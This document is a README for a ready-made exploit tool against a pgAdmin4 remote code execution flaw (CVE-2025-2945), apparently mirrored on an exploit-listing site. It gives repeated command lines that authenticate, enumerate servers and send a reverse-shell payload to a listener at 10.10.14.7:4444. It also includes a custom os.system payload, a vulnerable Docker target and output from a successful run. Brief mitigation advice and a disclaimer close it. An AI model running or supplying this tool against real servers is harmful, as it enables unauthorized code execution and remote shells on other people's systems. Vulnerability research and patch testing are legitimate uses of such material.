## https://sploitus.com/exploit?id=9F6331E5-5DA3-590D-8EF1-8E9CACCF837D
# CVE-2025-2945 - pgAdmin4 Authenticated RCE Exploit
**Author:** G0D150NE
**Version:** 2.0.0
**CVE:** CVE-2025-2945
**Severity:** Critical (CVSS 9.9)
## π Description
Exploit for **pgAdmin4 Remote Code Execution (RCE)** vulnerability affecting versions **8.10 to 9.1**.
The vulnerability exists in the `/sqleditor/query_tool/download` endpoint where the `query_commited` parameter is passed unsanitized to Python's `eval()` function, allowing arbitrary code execution.
## β‘ Features
- β
Automatic version detection
- β
CSRF token harvesting from multiple sources
- β
Server/Group ID enumeration
- β
Reverse shell payload (base64 encoded)
- β
Custom payload support
- β
Verbose debug mode
- β
Colorful console output
- β
SSL verification bypass
## π Installation
```bash
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945
# Install dependencies
pip install requests
```
## π― Usage
Basic Usage
```bash
python3 poc.py \
--target-url http://target:5050 \
--username admin@pgadmin.com \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
```
With Verbose Output
```bash
python3 poc.py \
--target-url http://target:5050 \
--username admin@pgadmin.com \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
-v
```
Custom Payload
```bash
python3 poc.py \
--target-url http://target:5050 \
--username admin@pgadmin.com \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
```
Skip Version Check
```bash
python3 poc.py \
--target-url http://target:5050 \
--username admin@pgadmin.com \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--skip-version-check
```
## π Arguments
Argument Required Description
--target-url Yes Base URL of pgAdmin4 (http://RHOST:PORT/)
--username Yes pgAdmin4 login email
--password Yes pgAdmin4 login password
--db-user Yes Database username
--db-pass Yes Database password
--db-name Yes Database name
--Rhost Yes Listener IP for reverse shell
--Rport Yes Listener port for reverse shell
--max-server-id No Max server ID to scan (default: 10)
--skip-version-check No Skip version verification
--custom-payload No Custom Python payload
--verbose, -v No Enable debug output
--no-banner No Hide banner
## π Requirements
Β· Python 3.6+
Β· requests library
```bash
pip install requests
```
## π§ͺ Testing Environment
```bash
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
-e PGADMIN_DEFAULT_EMAIL=admin@pgadmin.com \
-e PGADMIN_DEFAULT_PASSWORD=admin123 \
dpage/pgadmin4:8.10
# Then run the exploit
python3 poc.py \
--target-url http://localhost:5050 \
--username admin@pgadmin.com \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
```
## π₯οΈ Example Output
```
βββββββββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββ ββββββββββββββββββββββββββββββββββββββ ββββββββββββ
βββ βββ ββββββ ββββββ βββ
ββββββββββββ ββββββββββββββββ βββββββββββββββ βββ
βββββββββββββββββββββββββββββ βββββββββββββββββββ
ββββββββββββββββββββββββββββ βββ βββββββββββββββ
ββββββ ββββββ βββ ββββββ
βββββββββββββββ ββββββββββββββββ ββββββββββββββββββββββββ
ββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββββ
βββββββββββ β β βββββββββββ βββββββββββ βββββββββββ
CVE-2025-2945 - pgAdmin4 Authenticated RCE
Author: G0D150NE
Version: 2.0.0
[*] Target running vulnerable version 8.10
[*] Authenticating as admin@pgadmin.com...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
```
## π‘οΈ Mitigation
Β· Upgrade pgAdmin4 to version 9.2 or higher
Β· Restrict access to pgAdmin interface
Β· Use strong credentials
Β· Enable MFA if available
## β οΈ Disclaimer
This tool is for authorized security testing and educational purposes only. Usage against systems without explicit permission is illegal. The author assumes no responsibility for any misuse.
## π References
Β· CVE-2025-2945
Β· pgAdmin Security Advisory
## π License
MIT License